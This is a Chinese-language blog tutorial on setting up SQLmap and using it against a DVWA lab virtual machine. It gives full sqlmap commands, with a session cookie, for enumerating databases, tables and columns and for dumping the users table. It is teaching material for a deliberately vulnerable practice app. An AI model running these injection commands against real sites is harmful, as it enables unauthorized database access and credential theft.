渗透工具用法(一):SQLmap 的用法

此系列笔记是网络渗透工具的使用方法, 本篇是介绍 SQL 注入工具 SQLmap 的使用方法。SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具, 有一个非常棒的特性, 即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)

SQLmap 环境

由于 kali Liunx 已经集成了 SQLmap 的环境, 这里就直接介绍 Windows 下环境的构建。

先安装 Python

正常情况下我们安装 2.7.x 就好了。

Python 官网下载地址

接下来只需在环境变量 path 中添加 Python 的安装路径就好了。

SQLmap

再安装 SQLmap

SQLmap 官网下载地址

将 SQLmap 解压至 Python 目录下, 将 SQLmap 的程序目录重命名为 sqlmap。

在桌面新建快捷方式

For Example:

SQLmap


SQLmap


SQLmap

DVWA 环境

DVWA(Dam Vulnerable Web Application) 使用 PHP+Mysql 编写的一套用于常规 WEB 漏洞教学和检测的 WEB 脆弱性测试程序。包含 SQL 注入、XSS、盲注等常见的一些漏洞。

DVWA GitHub 下载地址

Windows 下还需安装 PHP 环境, 这里推介两个 PHP 集成环境。

upupw PHP 集成环境 phpStudy PHP 集成环境

接下来只需修改一下配置文件就好了。

SQlmap 使用方法

Windows 下跟 kali Liunx 下使用方法不相同。

为方便演示, 我们创建两个虚拟机:

  • 受害者机器, Windows 2003 操作系统, 运行一个 WEB 服务器, 同时跑着一个包含漏洞的 WEB 应用(DVWA)。
  • 攻击器机器, 使用 kali Liunx 或者其他版本的 Windows 包含 SQLmap 程序。

本次实验的目的:使用 SQLmap 得到以下信息:

  • 枚举 MYSQL 用户名与密码。
  • 枚举所有数据库。
  • 枚举指定数据库的数据表。
  • 枚举指定数据表中的所有用户名与密码。

查看帮助

Windows: 查看 Python 帮助命令

python sqlmap.py -h

kali Liunx: 查看 Python 帮助命令

sqlmap -h

需要注意的是 Windows 下的选项和 kali Liunx 下的选项是一致的, 但是命令是不一致的。在 Windows 下使用 python sqlmap.py , 而在 kali Liunx 下使用的是 sqlmap

选项解释

  • —cookie => 设置我们的 cookie 值 “将 DVWA 安全等级设置为 low”
  • —data => 设置 POST 提交的值, 如果是 GET 提交, 不需要此选项
  • -u => 指定目标 URL
  • -b => 获取 DBMS banner
  • —current-db => 获取当前数据库
  • —current-user => 获取当前数据库的用户
  • —tables => 获取数据库里所有的表名
  • —columns => 获取表里的所有字段
  • —dump => 获取值
  • —current-user => 获取当前用户
  • -D => 爆库指定数据库名
  • -T => 爆库指定表名
  • -C => 爆库指定字段名
  • —string => 当查询可用时用来匹配页面中的字符串
  • —users => 枚举 DBMS 用户
  • —password => 枚举 DBMS 用户密码 hash
  • —dbs => 枚举 DBMS 中的数据库

开始爆库

由于 Windowskali Liunx 的做法基本一致, 这里以 kali Liunx 为例。DVWA 的难度为 low。

每一次的 Cookie 都不一样, 这里是个示范。

For Example:

SQLmap

获取数据库, —current-db

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" --current-db

URL 地址和 Cookie 请用真实的替换掉。这条命令可以把当前所有的数据库获取出来的。注意 --current-db- 可是有两个的。

SQLmap

获取表, —tables

前面, 我们已经获取到数据库名, 这时候我们要指定数据库名。使用 -D 选项指定数据库名。注意 --tables- 可是有两个的。

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" -D 'dvwa' --tables

SQLmap

获取字段, —columns

前面, 我们已经获取到数据库名和表名了, 这时候我们要指定数据库名和表名。使用 -D 选项指定数据库名, 使用 -T 指定表名。这里我们选择表 users 。注意 --columns- 可是有两个的。

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" -D 'dvwa' -T 'users' --columns

SQLmap

获取数据, —dump

前面, 我们已经获取到数据库名、表名还有字段名了, 这时候我们要指定数据库名、表名还有字段名。使用 -D 选项指定数据库名, 使用 -T 指定表名, 使用 -C 指定字段名。这里我们选择表 users 中的字段 user_id 。注意 --dump- 可是有两个的。

For Example:

sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3;security=low" -D 'dvwa' -T 'users' -C 'user_id' --dump

SQLmap

亲!!! 听说给作者打赏一杯咖啡钱,会给自己带来好运哦!